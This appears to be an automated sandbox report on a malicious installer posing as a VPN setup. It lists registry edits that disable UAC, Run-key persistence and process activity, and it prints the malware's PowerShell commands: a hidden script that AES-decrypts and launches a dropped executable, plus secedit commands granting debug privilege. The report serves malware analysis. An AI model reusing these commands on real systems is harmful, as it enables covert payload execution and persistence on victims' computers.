71a989d9d893661e66be5d259cad821f5dbc0a58933ea69cd0634b87d42e89db

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	iusb3mon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	iusb3mon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	iusb3mon.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1616	powershell.exe
3996	powershell.exe
4804	powershell.exe
1264	powershell.exe
5112	powershell.exe
1428	powershell.exe
1816	powershell.exe
3352	powershell.exe
1004	powershell.exe
3668	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	irsetup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	71a989d9d893661e66be5d259cad821f5dbc0a58933ea69cd0634b87d42e89db.exe

Executes dropped EXE 2 IoCs

pid	Process
2136	irsetup.exe
2736	iusb3mon.exe

Loads dropped DLL 1 IoCs

pid	Process
2136	irsetup.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\ProgramData\\Program\\iusb3mon.exe"	iusb3mon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\ProgramData\\Program\\iusb3mon.exe"	iusb3mon.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\ProgramData\\Program\\iusb3mon.exe"	iusb3mon.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	iusb3mon.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000e000000023ce1-143.dat	upx
behavioral2/memory/2736-151-0x0000000000400000-0x000000000053F000-memory.dmp	upx
behavioral2/memory/2736-347-0x0000000000400000-0x000000000053F000-memory.dmp	upx

Drops file in Program Files directory 13 IoCs

description	ioc	Process
File created	C:\Program Files\product1\Uninstall\IRIMG1.JPG	irsetup.exe
File opened for modification	C:\Program Files\product1\Uninstall\IRIMG1.JPG	irsetup.exe
File created	C:\Program Files\product1\uninstall.exe	irsetup.exe
File created	C:\Program Files\product1\letsvpn-latest.exe	irsetup.exe
File created	C:\Program Files\product1\Uninstall\uniB6BD.tmp	irsetup.exe
File created	C:\Program Files\product1\Uninstall\uninstall.dat	irsetup.exe
File created	C:\Program Files\product1\lua5.1.dll	irsetup.exe
File opened for modification	C:\Program Files\product1\Uninstall\uninstall.xml	irsetup.exe
File created	C:\Program Files\product1\Uninstall\uninstall.xml	irsetup.exe
File opened for modification	C:\Program Files\product1\letsvpn-latest.exe	irsetup.exe
File opened for modification	C:\Program Files\product1\Uninstall\uniB6BD.tmp	irsetup.exe
File opened for modification	C:\Program Files\product1\Uninstall\uninstall.dat	irsetup.exe
File created	C:\Program Files\product1\Uninstall\IRIMG2.JPG	irsetup.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 5 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
1428	powershell.exe
1816	powershell.exe
1616	powershell.exe
3352	powershell.exe
1004	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SecEdit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SecEdit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SecEdit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iusb3mon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SecEdit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	iusb3mon.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	iusb3mon.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	irsetup.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3176	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2136	irsetup.exe
2136	irsetup.exe
2136	irsetup.exe
2136	irsetup.exe
2136	irsetup.exe
2136	irsetup.exe
2136	irsetup.exe
2136	irsetup.exe
2136	irsetup.exe
2136	irsetup.exe
2136	irsetup.exe
2136	irsetup.exe
2136	irsetup.exe
2136	irsetup.exe
2136	irsetup.exe
2136	irsetup.exe
2136	irsetup.exe
2136	irsetup.exe
2136	irsetup.exe
2136	irsetup.exe
2136	irsetup.exe
2136	irsetup.exe
1428	powershell.exe
1816	powershell.exe
1816	powershell.exe
1616	powershell.exe
3668	powershell.exe
1004	powershell.exe
3352	powershell.exe
1428	powershell.exe
1004	powershell.exe
1616	powershell.exe
3352	powershell.exe
3668	powershell.exe
2736	iusb3mon.exe
2736	iusb3mon.exe
2736	iusb3mon.exe
2736	iusb3mon.exe
2736	iusb3mon.exe
2736	iusb3mon.exe
2736	iusb3mon.exe
2736	iusb3mon.exe
2736	iusb3mon.exe
2736	iusb3mon.exe
2736	iusb3mon.exe
2736	iusb3mon.exe
2736	iusb3mon.exe
2736	iusb3mon.exe
2736	iusb3mon.exe
2736	iusb3mon.exe
2736	iusb3mon.exe
2736	iusb3mon.exe
2736	iusb3mon.exe
2736	iusb3mon.exe
2736	iusb3mon.exe
2736	iusb3mon.exe
2736	iusb3mon.exe
2736	iusb3mon.exe
2736	iusb3mon.exe
2736	iusb3mon.exe
2736	iusb3mon.exe
2736	iusb3mon.exe
2736	iusb3mon.exe
2736	iusb3mon.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	1428	powershell.exe
Token: SeDebugPrivilege	1816	powershell.exe
Token: SeDebugPrivilege	1616	powershell.exe
Token: SeDebugPrivilege	3668	powershell.exe
Token: SeDebugPrivilege	3352	powershell.exe
Token: SeDebugPrivilege	1004	powershell.exe
Token: SeDebugPrivilege	5112	powershell.exe
Token: SeDebugPrivilege	3996	powershell.exe
Token: SeDebugPrivilege	4804	powershell.exe
Token: SeDebugPrivilege	1264	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2136	irsetup.exe
2136	irsetup.exe
2136	irsetup.exe
2736	iusb3mon.exe
2736	iusb3mon.exe

Suspicious use of WriteProcessMemory 53 IoCs

description	pid	Process	procid_target
PID 4860 wrote to memory of 2136	4860	71a989d9d893661e66be5d259cad821f5dbc0a58933ea69cd0634b87d42e89db.exe	84
PID 4860 wrote to memory of 2136	4860	71a989d9d893661e66be5d259cad821f5dbc0a58933ea69cd0634b87d42e89db.exe	84
PID 2136 wrote to memory of 3668	2136	irsetup.exe	86
PID 2136 wrote to memory of 3668	2136	irsetup.exe	86
PID 2136 wrote to memory of 1428	2136	irsetup.exe	87
PID 2136 wrote to memory of 1428	2136	irsetup.exe	87
PID 2136 wrote to memory of 1816	2136	irsetup.exe	89
PID 2136 wrote to memory of 1816	2136	irsetup.exe	89
PID 2136 wrote to memory of 1616	2136	irsetup.exe	91
PID 2136 wrote to memory of 1616	2136	irsetup.exe	91
PID 2136 wrote to memory of 3352	2136	irsetup.exe	93
PID 2136 wrote to memory of 3352	2136	irsetup.exe	93
PID 2136 wrote to memory of 1004	2136	irsetup.exe	95
PID 2136 wrote to memory of 1004	2136	irsetup.exe	95
PID 3668 wrote to memory of 2736	3668	powershell.exe	101
PID 3668 wrote to memory of 2736	3668	powershell.exe	101
PID 3668 wrote to memory of 2736	3668	powershell.exe	101
PID 2736 wrote to memory of 3996	2736	iusb3mon.exe	104
PID 2736 wrote to memory of 3996	2736	iusb3mon.exe	104
PID 2736 wrote to memory of 3996	2736	iusb3mon.exe	104
PID 2736 wrote to memory of 5112	2736	iusb3mon.exe	105
PID 2736 wrote to memory of 5112	2736	iusb3mon.exe	105
PID 2736 wrote to memory of 5112	2736	iusb3mon.exe	105
PID 2736 wrote to memory of 1264	2736	iusb3mon.exe	106
PID 2736 wrote to memory of 1264	2736	iusb3mon.exe	106
PID 2736 wrote to memory of 1264	2736	iusb3mon.exe	106
PID 2736 wrote to memory of 4804	2736	iusb3mon.exe	107
PID 2736 wrote to memory of 4804	2736	iusb3mon.exe	107
PID 2736 wrote to memory of 4804	2736	iusb3mon.exe	107
PID 2736 wrote to memory of 3176	2736	iusb3mon.exe	124
PID 2736 wrote to memory of 3176	2736	iusb3mon.exe	124
PID 2736 wrote to memory of 3176	2736	iusb3mon.exe	124
PID 2736 wrote to memory of 4848	2736	iusb3mon.exe	114
PID 2736 wrote to memory of 4848	2736	iusb3mon.exe	114
PID 2736 wrote to memory of 4848	2736	iusb3mon.exe	114
PID 4804 wrote to memory of 1480	4804	powershell.exe	118
PID 4804 wrote to memory of 1480	4804	powershell.exe	118
PID 4804 wrote to memory of 1480	4804	powershell.exe	118
PID 1264 wrote to memory of 1488	1264	powershell.exe	119
PID 1264 wrote to memory of 1488	1264	powershell.exe	119
PID 1264 wrote to memory of 1488	1264	powershell.exe	119
PID 3996 wrote to memory of 4132	3996	powershell.exe	120
PID 3996 wrote to memory of 4132	3996	powershell.exe	120
PID 3996 wrote to memory of 4132	3996	powershell.exe	120
PID 2736 wrote to memory of 3984	2736	iusb3mon.exe	121
PID 2736 wrote to memory of 3984	2736	iusb3mon.exe	121
PID 2736 wrote to memory of 3984	2736	iusb3mon.exe	121
PID 5112 wrote to memory of 1200	5112	powershell.exe	123
PID 5112 wrote to memory of 1200	5112	powershell.exe	123
PID 5112 wrote to memory of 1200	5112	powershell.exe	123
PID 3984 wrote to memory of 3176	3984	cmd.exe	124
PID 3984 wrote to memory of 3176	3984	cmd.exe	124
PID 3984 wrote to memory of 3176	3984	cmd.exe	124

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	iusb3mon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	iusb3mon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	iusb3mon.exe

C:\Users\Admin\AppData\Local\Temp\71a989d9d893661e66be5d259cad821f5dbc0a58933ea69cd0634b87d42e89db.exe
"C:\Users\Admin\AppData\Local\Temp\71a989d9d893661e66be5d259cad821f5dbc0a58933ea69cd0634b87d42e89db.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4860
- C:\Users\Admin\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe
  "C:\Users\Admin\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" __IRAOFF:5904754 "__IRAFN:C:\Users\Admin\AppData\Local\Temp\71a989d9d893661e66be5d259cad821f5dbc0a58933ea69cd0634b87d42e89db.exe" "__IRCT:0" "__IRTSS:0" "__IRSID:S-1-5-21-4050598569-1597076380-177084960-1000"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Program Files directory
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2136
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command function Copy-Stream { param( [IO.Stream]$FromStream, [IO.Stream]$ToStream ) $buff = New-Object 'byte[]' -ArgumentList 80kb while (($readCount = $FromStream.Read($buff, 0, $buff.Length)) -gt 0) { $ToStream.Write($buff, 0, $readCount) } } function Get-FixedBytes { param( [byte[]]$Bytes, [int]$Size ) if ($Bytes.Length -eq $Size) { return , $Bytes } if ($Bytes.Length -gt $Size) { return , $Bytes[0..($Size - 1)] } return , ($Bytes + (New-Object 'byte[]' ($Size - $Bytes.Length) )) } function Unprotect-AesData { [CmdletBinding()] param ( [Parameter(ParameterSetName = \"FromFileToFile\", Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, Position = 0)] [Parameter(ParameterSetName = \"FromFileToStream\", Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, Position = 0)] [string[]]$FromFile, [Parameter(ParameterSetName = \"FromLiteralFileToFile\", Mandatory = $true, ValueFromPipelineByPropertyName = $true)] [Parameter(ParameterSetName = \"FromLiteralFileToStream\", Mandatory = $true, ValueFromPipelineByPropertyName = $true)] [Alias(\"PSPath\")] [string[]]$FromLiteralFile, [Parameter(ParameterSetName = \"FromFileToFile\", Mandatory = $true, Position = 1)] [Parameter(ParameterSetName = \"FromLiteralFileToFile\", Mandatory = $true, Position = 1)] [Parameter(ParameterSetName = \"FromStreamToFile\", Mandatory = $true, Position = 1)] [string]$ToFile, [Parameter(ParameterSetName = \"FromFileToFile\", Mandatory = $false)] [Parameter(ParameterSetName = \"FromLiteralFileToFile\", Mandatory = $false)] [Parameter(ParameterSetName = \"FromStreamToFile\", Mandatory = $false)] [switch]$Append, [Parameter(ParameterSetName = \"FromStreamToFile\", Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, Position = 0)] [Parameter(ParameterSetName = \"FromStreamToStream\", Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, Position = 0)] [System.IO.Stream[]]$FromStream, [Parameter(ParameterSetName = \"FromFileToStream\", Mandatory = $true, Position = 1)] [Parameter(ParameterSetName = \"FromLiteralFileToStream\", Mandatory = $true, Position = 1)] [Parameter(ParameterSetName = \"FromStreamToStream\", Mandatory = $true, Position = 1)] [System.IO.Stream]$ToStream, [ValidateSet(128, 192, 256)] [int]$KeySize = 256, [System.Security.Cryptography.CipherMode]$Mode = [System.Security.Cryptography.CipherMode]::CBC, [System.Security.Cryptography.PaddingMode]$Padding = [System.Security.Cryptography.PaddingMode]::PKCS7, [byte[]]$Key1, [byte[]]$IV1, [System.Security.SecureString]$Password, [byte[]]$PasswordBytes, [string]$PasswordPlain, [ValidateNotNullOrEmpty()] [ValidateCount(8, 2147483647)] [byte[]]$Salt = (200, 78, 178, 161, 117, 108, 182, 25, 83, 212, 170, 163, 245, 143, 72, 180, 117, 109, 100, 180, 172, 49, 207, 73, 78, 231, 183, 46, 143, 113, 43, 64), [int]$Iteration = 1000, [ValidateNotNullOrEmpty()] [string]$KeyHashAlg = 'SHA1' ) begin { $formatDebug = \"NamedBlock = {0,-10}, ParameterSetName = {1}\" $PSCmdlet.WriteDebug(($formatDebug -f \"begin\", $PSCmdlet.ParameterSetName)) # if (-not ($PSBoundParameters.ContainsKey('Password') -xor $PSBoundParameters.ContainsKey('PasswordBytes'))) { # throw \"Parameter 'Password' and 'PasswordBytes' must be bounded to only one, not both.\" # } try { [System.Security.Cryptography.SymmetricAlgorithm]$aes = [System.Security.Cryptography.Aes]::Create() $aes.KeySize = $KeySize $aes.Mode = $Mode $aes.Padding = $Padding if ($null -ne $Key1) { $aes.Key = Get-FixedBytes -Bytes $Key1 -Size ($aes.KeySize / 8) if ($null -ne $IV1) { $aes.IV = Get-FixedBytes -Bytes $IV1 -Size ($aes.BlockSize / 8) } } else { try { $keyGen = New-Object System.Security.Cryptography.Rfc2898DeriveBytes -ArgumentList ($(if ($PSBoundParameters.ContainsKey('Password')) { (New-Object pscredential -ArgumentList 'user', $Password -ErrorAction Stop).GetNetworkCredential().Password } elseif ($PSBoundParameters.ContainsKey('PasswordBytes')) { , $PasswordBytes }elseif ($PSBoundParameters.ContainsKey('PasswordPlain')) { $PasswordPlain }), $Salt, $Iteration, [System.Security.Cryptography.HashAlgorithmName]$KeyHashAlg) } catch { $keyGen = New-Object System.Security.Cryptography.Rfc2898DeriveBytes -ArgumentList ($(if ($PSBoundParameters.ContainsKey('Password')) { (New-Object pscredential -ArgumentList 'user', $Password -ErrorAction Stop).GetNetworkCredential().Password } elseif ($PSBoundParameters.ContainsKey('PasswordBytes')) { , $PasswordBytes }elseif ($PSBoundParameters.ContainsKey('PasswordPlain')) { $PasswordPlain }), $Salt, $Iteration) #for ps2.0 } $aes.Key = $keyGen.GetBytes($aes.KeySize / 8) $aes.IV = $keyGen.GetBytes($aes.BlockSize / 8) } $Key1 = $aes.Key $IV1 = $aes.IV if ($PSBoundParameters.ContainsKey(\"ToFile\")) { $filemode = if ($Append) { [System.IO.FileMode]::Append }else { [System.IO.FileMode]::Create } $ToStream = New-Object System.IO.FileStream -ArgumentList ($ToFile, $filemode, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) -ErrorAction Stop } } catch { if ($ToFile -and $ToStream) { $ToStream.Close() } throw } finally { if ($aes) { $aes.Clear() try { $aes.Dispose() }catch {} } if ($keyGen) { try { $keyGen.Dispose() }catch {} } } } process { $PSCmdlet.WriteDebug(($formatDebug -f \"process\", $PSCmdlet.ParameterSetName)) if (\"FromStreamToFile\", \"FromStreamToStream\" -contains $PSCmdlet.ParameterSetName) { foreach ($itemStream in $FromStream) { try { [System.Security.Cryptography.SymmetricAlgorithm]$aes = [System.Security.Cryptography.Aes]::Create() $aes.KeySize = $KeySize $aes.Mode = $Mode $aes.Padding = $Padding $aes.Key = $Key1 $aes.IV = $IV1 # $keyGen.Reset() $transform = $aes.CreateDecryptor() try { $cryptoStream = New-Object System.Security.Cryptography.CryptoStream -ArgumentList ($itemStream, $transform, [System.Security.Cryptography.CryptoStreamMode]::Read, $true) } catch { $cryptoStream = New-Object System.Security.Cryptography.CryptoStream -ArgumentList ($itemStream, $transform, [System.Security.Cryptography.CryptoStreamMode]::Read) } # $cryptoStream.CopyTo($ToStream) Copy-Stream -FromStream $cryptoStream -ToStream $ToStream } finally { if ($cryptoStream) { $cryptoStream.Clear() $cryptoStream.Close() Clear-Variable -Name cryptoStream } if ($transform) { try { $transform.Dispose() }catch {} Clear-Variable -Name transform } if ($aes) { $aes.Clear() try { $aes.Dispose() }catch {} Clear-Variable -Name aes } } trap {} } return } foreach ($apath in $(if (\"FromFileToFile\", \"FromFileToStream\" -contains $PSCmdlet.ParameterSetName) { Convert-Path -Path $FromFile } else { Convert-Path -LiteralPath $FromLiteralFile })) { try { $itemStream = New-Object System.IO.FileStream -ArgumentList ($apath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::Read) [System.Security.Cryptography.SymmetricAlgorithm]$aes = [System.Security.Cryptography.Aes]::Create() $aes.KeySize = $KeySize $aes.Mode = $Mode $aes.Padding = $Padding $aes.Key = $Key1 $aes.IV = $IV1 # $keyGen.Reset() $transform = $aes.CreateDecryptor() $cryptoStream = New-Object System.Security.Cryptography.CryptoStream -ArgumentList ($itemStream, $transform, [System.Security.Cryptography.CryptoStreamMode]::Read) # $cryptoStream.CopyTo($ToStream) Copy-Stream -FromStream $cryptoStream -ToStream $ToStream } finally { if ($cryptoStream) { $cryptoStream.Clear() $cryptoStream.Close() Clear-Variable -Name cryptoStream } if ($itemStream) { $itemStream.Close() Clear-Variable -Name itemStream } if ($transform) { try { $transform.Dispose() }catch {} Clear-Variable -Name transform } if ($aes) { $aes.Clear() try { $aes.Dispose() }catch {} Clear-Variable -Name aes } } trap {} } } end { $PSCmdlet.WriteDebug(($formatDebug -f \"end\", $PSCmdlet.ParameterSetName)) if ($PSBoundParameters.ContainsKey(\"ToFile\")) { $ToStream.Close() } if ($keyGen) { try { $keyGen.Dispose() }catch {} } } } # main $FromLiteralFile = \"C:\ProgramData\Program\Uninstall_.exe\" $ToFile = \"C:\ProgramData\Program\iusb3mon.exe\" $PasswordPlain = \"123\" if ($FromLiteralFile -ne $ToFile) { Unprotect-AesData -FromLiteralFile $FromLiteralFile -ToFile $ToFile -PasswordPlain $PasswordPlain } else { #inplace $fi0 = Get-Item -LiteralPath $FromLiteralFile -ErrorAction SilentlyContinue if ($null -ne $fi0) { $tmpfile = [IO.Path]::GetTempFileName() Unprotect-AesData -FromLiteralFile $FromLiteralFile -ToFile $tmpfile -PasswordPlain $PasswordPlain if ($?) { Move-Item -LiteralPath $tmpfile -Destination $ToFile -Force } } } #ps1Ö´ÐÐexe Start-Process -FilePath $ToFile -ArgumentList '$false' -WorkingDirectory ([IO.Path]::GetDirectoryName($ToFile)) -WindowStyle Hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3668
  - - C:\ProgramData\Program\iusb3mon.exe
      "C:\ProgramData\Program\iusb3mon.exe" $false
      4⤵
      UAC bypass
      Executes dropped EXE
      Adds Run key to start application
      Checks whether UAC is enabled
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      System policy modification
      PID:2736
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -C "Set-Content -Value @('[Unicode]','Unicode=yes','[Version]','signature=\"$CHICAGO$\"','Revision=1','[Privilege Rights]','SeDebugPrivilege = *S-1-5-18','[File Security]','\"C:\ProgramData\Program\",0,\"D:AR(D;OICI;DTSDRCWD;;;WD)\"') -Path ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege1.inf')) -Encoding Unicode; secedit.exe /configure /db ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege1.sdb')) /cfg ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege1.inf')) /overwrite /log ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege1.log')) /quiet; Remove-Item -Path ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege1.*')) -Force;"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3996
      - C:\Windows\SysWOW64\SecEdit.exe
        
        "C:\Windows\system32\SecEdit.exe" /configure /db C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege1.sdb /cfg C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege1.inf /overwrite /log C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege1.log /quiet
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4132
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -C "Set-Content -Value @('[Unicode]','Unicode=yes','[Version]','signature=\"$CHICAGO$\"','Revision=1','[Privilege Rights]','SeDebugPrivilege = *S-1-5-18','[File Security]','\"C:\ProgramData\Microsoft\Program\",0,\"D:AR(D;OICI;DTSDRCWD;;;WD)\"') -Path ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege2.inf')) -Encoding Unicode; secedit.exe /configure /db ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege2.sdb')) /cfg ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege2.inf')) /overwrite /log ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege2.log')) /quiet; Remove-Item -Path ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege2.*')) -Force;"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5112
      - C:\Windows\SysWOW64\SecEdit.exe
        
        "C:\Windows\system32\SecEdit.exe" /configure /db C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege2.sdb /cfg C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege2.inf /overwrite /log C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege2.log /quiet
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1200
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -C "Set-Content -Value @('[Unicode]','Unicode=yes','[Version]','signature=\"$CHICAGO$\"','Revision=1','[Privilege Rights]','SeDebugPrivilege = *S-1-5-18','[File Security]','\"C:\ProgramData\Data\",0,\"D:AR(D;OICI;DTSDRCWD;;;WD)\"') -Path ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege3.inf')) -Encoding Unicode; secedit.exe /configure /db ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege3.sdb')) /cfg ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege3.inf')) /overwrite /log ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege3.log')) /quiet; Remove-Item -Path ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege3.*')) -Force;"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1264
      - C:\Windows\SysWOW64\SecEdit.exe
        
        "C:\Windows\system32\SecEdit.exe" /configure /db C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege3.sdb /cfg C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege3.inf /overwrite /log C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege3.log /quiet
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1488
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -C "[IO.File]::WriteAllBytes([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege4.inf'), [Convert]::FromBase64String('//5bAFUAbgBpAGMAbwBkAGUAXQANAAoAVQBuAGkAYwBvAGQAZQA9AHkAZQBzAA0ACgBbAFYAZQByAHMAaQBvAG4AXQANAAoAcwBpAGcAbgBhAHQAdQByAGUAPQAiACQAQwBIAEkAQwBBAEcATwAkACIADQAKAFIAZQB2AGkAcwBpAG8AbgA9ADEADQAKAFsAUAByAGkAdgBpAGwAZQBnAGUAIABSAGkAZwBoAHQAcwBdAA0ACgBTAGUARABlAGIAdQBnAFAAcgBpAHYAaQBsAGUAZwBlACAAPQAgACoAUwAtADEALQA1AC0AMQA4AA0ACgA=')); secedit.exe /configure /db ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege4.sdb')) /cfg ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege4.inf')) /overwrite /log ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege4.log')) /quiet; Remove-Item -Path ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege4.*')) -Force;"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4804
      - C:\Windows\SysWOW64\SecEdit.exe
        
